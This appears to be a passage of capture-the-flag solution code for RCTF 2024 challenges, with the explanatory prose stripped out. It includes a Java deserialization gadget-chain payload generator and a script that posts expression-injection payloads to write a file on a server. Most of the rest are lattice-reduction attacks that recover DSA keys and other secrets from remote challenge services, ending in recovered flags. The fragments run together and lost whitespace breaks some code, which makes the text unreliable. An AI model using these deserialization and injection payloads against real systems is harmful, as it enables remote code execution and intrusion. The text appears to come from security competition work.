BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); objectOutputStream.close(); String res = Base64.getEncoder().encodeToString(barr.toByteArray()); System.out.println(res);
} privatestaticvoidsetFieldValue(Object obj, String field, Object arg)throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
for i in range(len(expression)): data = { "expression": "new ('java.io.DataOutputStream',(new ('java.io.FileOutputStream','/tmp/cc666',true))).write(" + str(expression[i]) + ")" } response = requests.post(url, data=data, headers=headers)
defsign(pubkey, x, msg, lsb, msb): p, q, g, y = pubkey k = gen_ephemeral_key(150, lsb, msb) r = pow(g, k, p) % q Hm = int(sha1(msg).hexdigest(), 16) s = (Hm + x * r) * inverse(k, q) % q return (r, s) while1: sh = remote('121.37.182.7',10089) line = sh.recvline().strip()[13:] pub = eval(line) p, q, g, y = pub GG = GF(p) Ms = [str(i).encode() for i in range(19)] rr,ss = [],[] for i in range(19): sh.recvuntil(b'>') sh.sendline(b'1') sh.recvuntil(b'Which message to sign?: ') sh.sendline(Ms[i]) r,s = eval(sh.recvline().strip()[11:]) rr.append(r) ss.append(s)
for msb in range(192,256): print(msb) for lsb in range(2,4): A = [] B = [] K = (msb<<152)+lsb for i in range(19): Hm = int(sha1(Ms[i]).hexdigest(), 16) A.append(rr[i]*inverse(ss[i],q)*inverse(4,q) %q) B.append((Hm*inverse(ss[i],q)- K)*inverse(4,q) %q) M = Matrix(QQ,21) for i in range(19): M[i,i] = q M[-2,i] = A[i] M[-1,i] = B[i] M[-2,-2] = 1/2^10 M[-1,-1] = 2^150 res = M.LLL() x = abs(res[1][-2]*1024) if y == ZZ(GG(g)^x): r,s = sign(pub, x, b"get flag", lsb, msb) sh.recvuntil(b'>') sh.sendline(b'2') sh.recvuntil(b"Which message to verify?: ") sh.sendline(b"get flag") sh.recvuntil(b"r:") sh.sendline(str(r).encode()) sh.recvuntil(b"s:") sh.sendline(str(s).encode()) print(sh.recv()) else: continue sh.close()
from Crypto.Util.number import * M = Matrix(ZZ,14) p = getPrime(100) c = 448378203211#hello-$ table = [ord(i) for i in"Xft"]
#part1 linear transformation and remove prefix and suffix a = 1 * inverse(table[0]-table[1],p) b = (1 - a*table[0]) % p a,b for i in range(3): print((a*table[i]+b)%p) c = c * inverse(256,p) % p c = a*c % p length = 64 L = Matrix(ZZ,length+2,length+2) for i in range(length): L[i,i] = 1 L[i,-1] = 256^i c += 256^i*b c %= p
L[-2,-2] = 1 L[-2,-1] = -c L[-1,-1] = p L[:,-1:] *= p res = L.BKZ(block_size=32)
for i in res[:-1]: flag = "" for j in i[:-2][::-1]: if(j == 1): flag += "X" elif(j == -1): flag += "t" elif(j == 0): flag += "f" elif(j==2): flag += "J" flag += "$" # print(len(flag)) if(bytes_to_long(flag.encode()) % p == 448378203247): print(flag) # p = 959011088180926180839552561337 # flag = fXXftfffttftXfftfffXtftffXXXfffXttXXffftXftttXfXftfftXttffXffttt$
is_lucky_modulus = lambda p, q: p != q and is_lucky_prime(p) and is_lucky_prime(q) C = [19, 127, xxx]# 去除2,3.2是一定需要的,3是一定不需要的 dit = {} print(len(C)) for i in C: if i.bit_length() in dit: dit[i.bit_length()].append(i) else: dit[i.bit_length()] = [i] print(dit) while1: temp = random.choices(C,k=random.randint(2,5)) temp = reduce(lambda a, b: a * b, temp) if temp.bit_length()>1024:continue low,high = (2**1023//temp).bit_length(),(2**1024//temp).bit_length() for i in range(low,high+1): if i in dit: for j in dit[i]: temp1 = temp*j if is_lucky_prime(2*temp1+1): print((2*temp1+1)) # 126366417385482081632125709094422195763085260839280726740164612475634922264215045413877512640959314132187586716879561409141350180398416405619572141421522560637943964009554210789034269798922933667348876400327539861064015972617479878127021685556362985889939708226852813589758433391734452221720317317879861645259 # 151974134283935133352420140651526474538548682010699934815033216140905302768143230133430556352882687267987873313578681017377217259032440048007955628689170671694683741633721001403202878128665495512534319682836729961494276461120603551226499672239779728136264935129191088698434836072763401447684000861562852767379 # 106312089628793849062763337995024706937792152772069990672450023530583677738560813825597909857977982025524197288970637855162732583840554342767800584850797419457546950034663390577782967179012861468463694781815886302442867373996009972323299453999920718059621113399549466447947193549531131615015163546047741227827 # 140646306779911236718100133345672526392582055647788058291509942224041198448052411163408694927566949009305647384291001717328802708260579523859117526078577710848945020201292305928651597199282635108376461842318627821309798059469913133091889616376641944238299416259355290939717393034960368973288667712851402681787
# -*- coding utf-8 -*- # @Time : 2024/5/26 15:37 from Crypto.Util.number import long_to_bytes from pwn import * io = remote('123.60.161.30',10089) p = 2**607 - 1 res = [] flag = '' while1: try: c,h = io.recvuntil(b'\n',drop=True).decode().split(' ') c,h = eval(c),eval(h) M = Matrix(ZZ,[[h,1],[p,0]]) R = M.LLL() f,g = abs(R[0][0]),abs(R[0][1]) if sum([int(i) for i in bin(f)[2:]]) == 12: if sum([int(i) for i in bin((g*c)%p)[2:]])<260: flag += '0' else: flag += '1' else: flag += '*' except: io.close() # print(long_to_bytes(int(flag,2))) print(flag) break
p = 0x1795712A13E07F7CCA7A0B09B33EE746414E48863BD7EE1BD0D883460828FE88516774E44AC3F0CE5DA045688C40844677DA6D38582AC7CF2C00E8724AD399059E9298BB1AD9834DAA0481765FFBB00FCA71BAD1E024F7193334D71755B0EEA1D1C761E11FB67C3B495F8D12720A59A8AAEC3F8A59BD6BC45C8C236A29B74CBE823BF9A816556F6DD79364A3E87B02028F9B35C5BC46EE597ABDC1A465B9F41353DD514AA5B91326EB4868BA1C3BC8B74F55DBEF6E59BCF896E15C8400CA6B695C368EF87CBD99FDD4D33F5889EE36A571240B16FFD76C0FAEB81E4550B8549193E88CF630D2422903D1AA08CA369FE0E79DD04F581B7DD8CB1D3F28F9EE2583B G = GF(p) from secrets import randbelow, token_bytes Ls = gs = g = 45271426195437984198148734130819758602633909815689072697478701620601435374673859115374977739381723399290678384412185045217122060295726959080235531506689431253052329409248991162086755435524236239059164372248760776929823125679997728474984060374726551469255675878559640618558013763390399453799698222302893713694848361621145466743475696742422956752275573833137869181667151612124053978279138459573664900264490229603163834249353694326197102808037601830972670908019774394079149810806591598567334118064953523756408265128194654597075018359473812617392872386329084774129433549345609748777264532420011155288544759753547510177100 afs = [discrete_log(G(gi),G(g)) for gi in gs] hs = [discrete_log(G(li),G(g)) for li in Ls] M = Matrix(ZZ,74) for i in range(72): M[i,-1] = afs[i] M[i,-2] = hs[i] M[i,i] = 1 M[-1,-1] = p-1 M[-2,-2] = p-1 M.rescale_col(72,2^1000) M.rescale_col(73,2^1000) res = M.LLL() ortm = res[:-2,:-2] ortm = ortm[:-3] # 测试发现后三组不满足与es正交所以去除 es = ortm.right_kernel_matrix().BKZ() v1 = -es[1] v2 = es[0] - es[1] v0 = es[2] M = Matrix(ZZ,75) for i in range(72): M[i,-1] = v0[i] M[i,-2] = v1[i] M[i,-3] = v2[i] M[i,i] = 1 M[-1,-1] = p-1 M[-2,-2] = p-1 M[-3,-3] = p-1 M.rescale_col(72,2^1000) M.rescale_col(73,2^1000) M.rescale_col(74,2^1000) res = M.LLL() (sum([i*j for i,j in zip(afs,res[2])])*otp+sum([i*j for i,j in zip(hs,res[2])]))%(p-1) otp = (-sum([i*j for i,j in zip(hs,res[2])]))*inverse_mod(sum([i*j for i,j in zip(afs,res[2])]),p-1)%(p-1) # otp = 128014576779010347641276589457573367112401478547684141654683946467594935856339983682465033576749697579626748196826109013977343102747578712429921277421560812163785175294082899 otp = long_to_bytes(otp) v1 = -es[1] v2 = es[0] - es[1] v0 = es[2] v0[0],v1[0],v2[0] for i in range(-256,256): for j in range(-256,256): ee1 = v0 + i*v1 + j*v2 try: if chr(long_to_bytes(abs(ee1[0]))[32]^^otp[i]) == b'R': if chr(long_to_bytes(abs(ee1[1]))[32]^^otp[i]) == b'C': if chr(long_to_bytes(abs(ee1[1]))[32]^^otp[i]) == b'T': print(i,j) # -127 , -101 except: continue
1 2 3 4 5
ee1 = v0 + -127*v1 + -101 * v2 ee1 = -ee1 for i in range(72): print(chr(long_to_bytes(ee1[i])[32]^^otp[i]),end='') # RCTF{___good_basis___bad_basis___How_about_my_1_byte_imbalance_basis___}